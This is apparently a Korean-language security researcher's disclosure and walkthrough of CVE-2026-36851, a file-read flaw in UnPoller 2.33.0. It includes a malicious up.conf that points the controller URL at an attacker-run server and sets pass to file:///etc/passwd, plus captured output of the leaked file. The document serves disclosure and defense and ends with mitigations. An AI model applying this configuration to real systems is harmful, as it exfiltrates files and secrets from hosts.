
UnPoller 2.33.0의 파일 경로 탐색 취약점(CVE-2026-36851)에 대한 Walkthrough 및 PoC
UnPoller v2.33.0의 file:// 비밀번호 접두사를 통한 경로 탐색 / 임의 파일 읽기 취약점. 인증 과정에서 파일 내용이 디스크에서 읽혀 구성된 UniFi 컨트롤러 URL로 전송됩니다.
| CVE | CVE-2026-36851 |
| 제품 | UnPoller v2.33.0 (이전 버전도 영향을 받을 가능성 있음) |
| 취약점 | CWE-22 (경로 탐색), CWE-20 (잘못된 입력 검증) |
| CVSS 3.1 | 7.5 높음 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| 신고자 | Hector Diaz |
UnPoller는 구성 값이 file://로 시작하면 파일에서 자격 증명을 로드하는 기능을 지원합니다. 이 동작은 운영자가 일반 텍스트 구성 파일 밖에서 비밀번호를 관리하려는 Docker 배포 환경을 위해 문서화된 기능입니다. 구현체는 읽을 수 있는 경로를 제한하지 않으며, 프로세스가 접근할 수 있는 모든 파일이 유효한 입력이 됩니다. 그런 다음 해당 내용은 동일한 구성 파일의 url 값으로 지정된 컨트롤러의 /api/login으로 JSON POST를 통해 네트워크로 전송됩니다.
이러한 조합은 로컬 파일 읽기 원시 기능(primitive)을 네트워크 유출 채널로 바꿔줍니다. up.conf에 쓰기 권한이 있는 공격자는 자신이 제어하는 서버에 url을 지정하고, 해당 파일들에 대한 직접 읽기 권한 없이도 민감한 파일을 반복적으로 유출할 수 있습니다.
저는 홈랩(Proxmox LXC 위의 Docker)에서 UnPoller를 실행하며 나머지 스택과 함께 UniFi 메트릭을 Grafana로 내보내고 있습니다. 오픈소스 프로젝트에서 일반적인 웹 취약점을 검토하던 중이었습니다. UnPoller는 사용자에게 노출되는 웹 표면이 최소화되어 있어 XSS는 가능성이 없는 방향이었습니다. 이번 발견은 예제 구성에서 시작되었습니다:
pass = "file:///path/to/password.file"
의도는 합리적입니다. up.conf에 비밀번호를 직접 넣는 대신 시크릿 파일을 참조하는 것입니다. 제가 가진 의문은 UnPoller가 해당 경로를 검증하는지, 아니면 모든 file:// 값을 문자 그대로의 파일시스템 포인터로 취급하는지였습니다.
pkg/inputunifi/input.go의 소스 코드(및 influxunifi, lokiunifi의 유사한 처리)를 추적한 결과 허용 목록(whitelist)이 없음을 확인했습니다. pass 또는 api_key가 file://로 시작하면 접두사가 제거되고 os.ReadFile()이 파일 전체 내용을 UniFi 인증에 사용되는 자격 증명 필드로 로드합니다.
기밀성: UnPoller 호스트에서 읽을 수 있는 모든 파일이 유출될 수 있습니다 — 예: /etc/passwd, /proc/version, /etc/hosts, 애플리케이션 설정, 그리고 프로세스 권한에 따라 키 자료까지도 가능합니다.
공격 전제 조건: UnPoller 구성(일반적으로 up.conf)에 대한 쓰기 권한. 구성이 수정되면 읽기를 트리거하는 데 UniFi 자격 증명이 필요하지 않습니다.
로컬 관리자 권한 이상으로 중요한 이유: 공유 호스팅, 잘못 구성된 Kubernetes 또는 손상된 사이드카 시나리오에서는 낮은 권한의 행위자가 민감한 파일을 직접 읽지 못하면서도 서비스 구성을 수정할 수 있습니다. 이 동작은 UnPoller가 파일을 읽어 외부로 전송하도록 함으로써 그 간극을 메워줍니다.
범위 제외: 원격 코드 실행, 무결성, 가용성 — 이는 명확한 유출 경로가 있는 정보 공개(Information Disclosure) 문제입니다.
Debian 기반 Proxmox LXC에서 Docker Compose로 실행한 ghcr.io/unpoller/unpoller:latest(v2.33.0)를 대상으로 테스트했습니다.
환경 변수를 통해 UP_UNIFI_DEFAULT_PASS="file:///etc/passwd"를 설정했지만 제 배포 환경에서는 해당 동작이 트리거되지 않았습니다. 마운트된 구성 파일이 실제로 적용되는 설정 소스였습니다.
up.conf를 수정하여 운영용 UniFi 컨트롤러 대신 제가 제어하는 캡처 서버를 가리키도록 했습니다:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
docker restart unpoller 실행 후 컨테이너는 약 30초마다 제 리스너의 8443 포트에 연결하기 시작했습니다.
첫 번째 캡처 서버는 HTTP 헤더를 로깅하고 Authorization: Basic ... 자격 증명을 찾도록 했습니다. 그런데 UnPoller는 Authorization 헤더 없이 POST /api/login 요청을 보냈습니다 — UniFi의 API는 본문에 JSON을 기대합니다:
{"username": "admin", "password": "..."}
리스너를 수정하여 Content-Length를 읽고 POST 본문을 파싱한 뒤 JSON을 로깅하도록 했습니다. 1분 이내에 /etc/passwd가 password 필드에 나타났습니다:

로그 발췌:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
동일한 구성 패턴이 /proc/version(커널/빌드 지문 수집)에서도 작동했습니다:

악성 구성 예시: poc/up.conf.example
| 날짜 | 내용 |
|---|---|
| 2026-02-28 | 홈랩에서 발견 및 확인 |
| 2026-03-01 | 공급업체에 통보(Discord) |
| 2026-03-02 | MITRE CVE 요청 제출 |
| 2026-06-05 | CVE-2026-36851 지정 |
| 2026-07-03 | 공개 보고서 게시 |
UnPoller 유지보수자는 file:// 동작이 Docker 사용자를 위한 의도된 편의 기능임을 인정하면서, 구성 편집자와 프로세스 사용자 간 권한 분리가 없으면 악용 가능성이 낮다는 입장을 밝혔습니다. 그럼에도 MITRE는 CVE 식별자를 지정했습니다.
운영자를 위한 조치
up.conf와 구성 마운트를 민감한 것으로 취급하고 쓰기 권한을 제한하십시오.file:// 경로 대신 Docker secrets, Kubernetes secrets 또는 환경 변수 기반 자격 증명 주입을 사용하십시오.개발자를 위한 조치
file:// 처리를 제거하거나 경로 허용 목록(예: /etc/unpoller/secrets/ 하위만)을 엄격히 적용하십시오.MIT — LICENSE 참조. 이 저장소의 PoC 자료는 인가된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가가 없는 시스템에는 사용하지 마십시오.
Hector Diaz · LinkedIn · hectordiaz.net